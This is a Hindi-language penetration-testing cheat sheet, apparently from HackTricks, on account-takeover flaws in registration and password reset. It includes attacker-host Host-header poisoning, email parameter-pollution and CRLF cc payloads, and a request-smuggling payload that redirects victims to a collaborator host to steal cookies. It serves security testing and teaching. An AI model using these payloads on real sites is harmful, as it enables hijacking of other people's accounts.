# पंजीकरण और अधिग्रहण कमजोरियाँ {{#include ../banners/hacktricks-training.md}} ## पंजीकरण अधिग्रहण ### डुप्लिकेट पंजीकरण - मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने की कोशिश करें - ईमेल को बदलने की जाँच करें: - अपरकेस - \+1@ - ईमेल में कुछ डॉट जोड़ें - ईमेल नाम में विशेष वर्ण (%00, %09, %20) - ईमेल के बाद काले वर्ण डालें: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com ### उपयोगकर्ता नाम गणना जाँच करें कि क्या आप यह पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है। ### पासवर्ड नीति एक उपयोगकर्ता बनाने पर पासवर्ड नीति की जाँच करें (जाँचें कि क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।\ इस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने की कोशिश कर सकते हैं। ### SQL इंजेक्शन [**इस पृष्ठ की जाँच करें** ](sql-injection/index.html#insert-statement)यह जानने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या **SQL इंजेक्शन** के माध्यम से जानकारी निकालें। ### ओथ अधिग्रहण {{#ref}} oauth-to-account-takeover.md {{#endref}} ### SAML कमजोरियाँ {{#ref}} saml-attacks/ {{#endref}} ### ईमेल बदलें जब पंजीकृत हों तो ईमेल बदलने की कोशिश करें और जाँच करें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं। ### अधिक जाँचें - जाँच करें कि क्या आप **निष्क्रिय ईमेल** का उपयोग कर सकते हैं - **लंबा** **पासवर्ड** (>200) **DoS** की ओर ले जाता है - **खाता निर्माण पर दर सीमाएँ जाँचें** - username@**burp_collab**.net का उपयोग करें और **कॉलबैक** का विश्लेषण करें ## **पासवर्ड रीसेट अधिग्रहण** ### रेफरर के माध्यम से पासवर्ड रीसेट टोकन लीक 1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें 2. पासवर्ड रीसेट लिंक पर क्लिक करें 3. पासवर्ड न बदलें 4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर) 5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें 6. जाँच करें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है। ### पासवर्ड रीसेट पॉइज़निंग 1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें 2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. _host header_ के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: `https://attacker.com/reset-password.php?token=TOKEN` ### ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट ```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com # array of emails {"email":["victim@mail.com","hacker@mail.com"]} # carbon copy email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com # separator email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` ### IDOR on API Parameters 1. हमलावर को अपने खाते में लॉगिन करना होगा और **पासवर्ड बदलें** फीचर पर जाना होगा। 2. Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें। 3. इसे रिपीटर टैब में भेजें और पैरामीटर संपादित करें: User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Weak Password Reset Token पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।\ यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने का एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं। - Timestamp - UserID - User का ईमेल - Firstname और Lastname - जन्म तिथि - Cryptography - केवल संख्या - छोटा टोकन अनुक्रम (अक्षर \[A-Z,a-z,0-9] के बीच) - टोकन पुन: उपयोग - टोकन समाप्ति तिथि ### Leaking Password Reset Token 1. एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध ट्रिगर करें, जैसे: test@mail.com 2. सर्वर प्रतिक्रिया का निरीक्षण करें और `resetToken` की जांच करें। 3. फिर टोकन का उपयोग एक URL में करें जैसे `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Password Reset Via Username Collision 1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में सफेद स्थान डाला गया हो। जैसे: `"admin "` 2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें। 3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें। 4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें। प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।\ देखें: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting 1. एप्लिकेशन के अंदर या एक उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है: `*.domain.com` 2. वर्तमान **सत्र कुकी** लीक करें। 3. कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें। ### Account Takeover Via HTTP Request Smuggling 1\. **smuggler** का उपयोग करें HTTP Request Smuggling के प्रकार का पता लगाने के लिए (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. एक अनुरोध तैयार करें जो `POST / HTTP/1.1` को निम्नलिखित डेटा के साथ ओवरराइट करेगा:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।\ 3\. अंतिम अनुरोध निम्नलिखित जैसा दिख सकता है ``` GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` Hackerone रिपोर्ट इस बग का फायदा उठाते हुए\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) ### CSRF के माध्यम से खाता अधिग्रहण 1. CSRF के लिए एक पेलोड बनाएं, जैसे: “पासवर्ड परिवर्तन के लिए ऑटो सबमिट वाला HTML फॉर्म” 2. पेलोड भेजें ### JWT के माध्यम से खाता अधिग्रहण JSON वेब टोकन का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है। - दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT संपादित करें - कमजोर JWT हस्ताक्षर की जांच करें {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} ## संदर्भ - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) {{#include ../banners/hacktricks-training.md}}